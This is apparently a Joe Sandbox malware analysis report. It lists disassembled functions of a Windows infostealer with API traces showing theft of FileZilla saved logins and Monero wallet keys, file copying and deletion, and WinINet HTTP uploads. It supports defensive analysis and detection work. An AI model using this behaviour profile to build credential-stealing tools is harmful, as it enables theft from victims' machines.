Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 5a081e536ae486af39bc2b03b15297295fb36e9043b7a7507ef80988711ec742
Instruction ID: 81e3f9a39e75024224e7f85f5d3ce6136d60f87899f700cf299493483b2a5ee3
Opcode Fuzzy Hash: 5a081e536ae486af39bc2b03b15297295fb36e9043b7a7507ef80988711ec742
Instruction Fuzzy Hash: CDD11D71900218ABDB48EBE4DD96EEE7338FF64300F408518F112E61D1EF75AA46CB62

Function 007F5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007F4839
Part of subcall function 007F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007F4849

lstrlen.KERNEL32(00000000), ref: 007F5193

Part of subcall function 00808EA0: CryptBinaryToStringA.CRYPT32(00000000,007F5184,40000001,00000000,00000000,?,007F5184), ref: 00808EC0

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007F5207
StrCmpCA.SHLWAPI(?,0135E968), ref: 007F5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007F5340
HttpOpenRequestA.WININET(00000000,0135E988,?,0135E020,00000000,00000000,00400100,00000000), ref: 007F53A4

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0135E948,00000000,?,0135A7B0,00000000,?,008119DC,00000000,?,008051CF), ref: 007F5737
lstrlen.KERNEL32(00000000), ref: 007F574B
GetProcessHeap.KERNEL32(00000000,?), ref: 007F575C
RtlAllocateHeap.NTDLL(00000000), ref: 007F5763
lstrlen.KERNEL32(00000000), ref: 007F5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007F57A9
lstrlen.KERNEL32(00000000), ref: 007F57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007F57E1
lstrlen.KERNEL32(00000000,?,?), ref: 007F580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007F5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007F584D
InternetCloseHandle.WININET(00000000), ref: 007F58B1
InternetCloseHandle.WININET(00000000), ref: 007F58BE
InternetCloseHandle.WININET(00000000), ref: 007F58C8

Strings

------, xrefs: 007F54F9
", xrefs: 007F5706
------, xrefs: 007F563B
------, xrefs: 007F53B7
", xrefs: 007F5482
------, xrefs: 007F5297
", xrefs: 007F55C4
--, xrefs: 007F5280

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: a7a98dedc2b3d83f33b96bb8dcbbb5388119beda10f1291f5fa2905bfc17fd9d
Instruction ID: 219e83ad0e4db19f7a9c2e3569f333c6657902804fc39199a4ce95ea8071cb88
Opcode Fuzzy Hash: a7a98dedc2b3d83f33b96bb8dcbbb5388119beda10f1291f5fa2905bfc17fd9d
Instruction Fuzzy Hash: 4D323171920228AAEB58EBA4DC95FEEB378FF54700F404169B116E21D2DF742A49CF53

Function 007FA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080AA70: StrCmpCA.SHLWAPI(01359018,007FA7A7,?,007FA7A7,01359018), ref: 0080AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007FAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 007FAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 007FABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007FA8B0

Part of subcall function 0080A820: lstrlen.KERNEL32(007F4F05,?,?,007F4F05,00810DDE), ref: 0080A82B
Part of subcall function 0080A820: lstrcpy.KERNEL32(00810DDE,00000000), ref: 0080A885

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

lstrcat.KERNEL32(?,00000000), ref: 007FACEB
lstrcat.KERNEL32(?,00811320), ref: 007FACFA
lstrcat.KERNEL32(?,00000000), ref: 007FAD0D
lstrcat.KERNEL32(?,00811324), ref: 007FAD1C
lstrcat.KERNEL32(?,00000000), ref: 007FAD2F
lstrcat.KERNEL32(?,00811328), ref: 007FAD3E
lstrcat.KERNEL32(?,00000000), ref: 007FAD51
lstrcat.KERNEL32(?,0081132C), ref: 007FAD60
lstrcat.KERNEL32(?,00000000), ref: 007FAD73
lstrcat.KERNEL32(?,00811330), ref: 007FAD82
lstrcat.KERNEL32(?,00000000), ref: 007FAD95
lstrcat.KERNEL32(?,00811334), ref: 007FADA4
lstrcat.KERNEL32(?,00000000), ref: 007FADB7
lstrlen.KERNEL32(?), ref: 007FAE0D
lstrlen.KERNEL32(?), ref: 007FAE1C

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

DeleteFileA.KERNEL32(00000000), ref: 007FAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 007FABD4

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 40dda8b775918de171a38913752cb0fca6734730930587fd29f9dd3e5b908d89
Instruction ID: e6d4b8ebf5360ab586c54aa9c6764f80a4103fe8d46cc346b216512835947a90
Opcode Fuzzy Hash: 40dda8b775918de171a38913752cb0fca6734730930587fd29f9dd3e5b908d89
Instruction Fuzzy Hash: 31122071910218ABDB48EBA4DD96EEE7338FF24301F504168B507E61D1DF35AA4ACB63

Function 007F5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007F4839
Part of subcall function 007F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007F4849

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007F59F8
StrCmpCA.SHLWAPI(?,0135E968), ref: 007F5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007F5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0135EA98,00000000,?,0135A7B0,00000000,?,00811A1C), ref: 007F5E71
lstrlen.KERNEL32(00000000), ref: 007F5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 007F5E93
RtlAllocateHeap.NTDLL(00000000), ref: 007F5E9A
lstrlen.KERNEL32(00000000), ref: 007F5EAF
lstrlen.KERNEL32(00000000), ref: 007F5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007F5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 007F5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007F5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 007F5F4C
InternetCloseHandle.WININET(00000000), ref: 007F5FB0
InternetCloseHandle.WININET(00000000), ref: 007F5FBD
HttpOpenRequestA.WININET(00000000,0135E988,?,0135E020,00000000,00000000,00400100,00000000), ref: 007F5BF8

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

InternetCloseHandle.WININET(00000000), ref: 007F5FC7

Strings

", xrefs: 007F5CD5
------, xrefs: 007F5A96
------, xrefs: 007F5C0B
", xrefs: 007F5E16
------, xrefs: 007F5D4C

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: b3bb5d0abaf1d816d5289dd859a0040d5582bf011b88812b8d3b09ea63e75294
Instruction ID: 588b5ac030ceafb86dc51438611c7341d182037493fc228c91d783efdbc9a3a9
Opcode Fuzzy Hash: b3bb5d0abaf1d816d5289dd859a0040d5582bf011b88812b8d3b09ea63e75294
Instruction Fuzzy Hash: F4120271920228ABDB59EBA4DC95FEEB378FF14700F5041A9B106E21D1DF742A4ACF52

Function 007FCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 00808B60: GetSystemTime.KERNEL32(00810E1A,0135A690,008105AE,?,?,007F13F9,?,0000001A,00810E1A,00000000,?,01359198,?,\Monero\wallet.keys,00810E17), ref: 00808B86

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007FCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007FD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 007FD0CE
lstrcat.KERNEL32(?,00000000), ref: 007FD208
lstrcat.KERNEL32(?,00811478), ref: 007FD217
lstrcat.KERNEL32(?,00000000), ref: 007FD22A
lstrcat.KERNEL32(?,0081147C), ref: 007FD239
lstrcat.KERNEL32(?,00000000), ref: 007FD24C
lstrcat.KERNEL32(?,00811480), ref: 007FD25B
lstrcat.KERNEL32(?,00000000), ref: 007FD26E
lstrcat.KERNEL32(?,00811484), ref: 007FD27D
lstrcat.KERNEL32(?,00000000), ref: 007FD290
lstrcat.KERNEL32(?,00811488), ref: 007FD29F
lstrcat.KERNEL32(?,00000000), ref: 007FD2B2
lstrcat.KERNEL32(?,0081148C), ref: 007FD2C1
lstrcat.KERNEL32(?,00000000), ref: 007FD2D4
lstrcat.KERNEL32(?,00811490), ref: 007FD2E3

Part of subcall function 0080A820: lstrlen.KERNEL32(007F4F05,?,?,007F4F05,00810DDE), ref: 0080A82B
Part of subcall function 0080A820: lstrcpy.KERNEL32(00810DDE,00000000), ref: 0080A885

lstrlen.KERNEL32(?), ref: 007FD32A
lstrlen.KERNEL32(?), ref: 007FD339

Part of subcall function 0080AA70: StrCmpCA.SHLWAPI(01359018,007FA7A7,?,007FA7A7,01359018), ref: 0080AA8F

DeleteFileA.KERNEL32(00000000), ref: 007FD3B4

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 966396f936113ff47aa50dd7a16417a7bef7a8570e9e69ab98339fec8b65b488
Instruction ID: 2299501eabf3dd0b48f0a989960de7a1e020d5dbfcddafebe640a91880117476
Opcode Fuzzy Hash: 966396f936113ff47aa50dd7a16417a7bef7a8570e9e69ab98339fec8b65b488
Instruction Fuzzy Hash: ABE11A72910218ABDB48EBA4DD96EEE7379FF24301F104168F146E61D1DF35AA06CB63

Function 007F4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

Part of subcall function 007F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007F4839
Part of subcall function 007F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007F4849

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007F4915
StrCmpCA.SHLWAPI(?,0135E968), ref: 007F493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007F4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00810DDB,00000000,?,?,00000000,?,",00000000,?,0135EAB8), ref: 007F4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007F4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007F4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007F4E49
InternetCloseHandle.WININET(00000000), ref: 007F4EAD
InternetCloseHandle.WININET(00000000), ref: 007F4EC5
HttpOpenRequestA.WININET(00000000,0135E988,?,0135E020,00000000,00000000,00400100,00000000), ref: 007F4B15

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

InternetCloseHandle.WININET(00000000), ref: 007F4ECF

Strings

------, xrefs: 007F4C69
", xrefs: 007F4D33
------, xrefs: 007F49BD
------, xrefs: 007F4B28
", xrefs: 007F4BF2

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
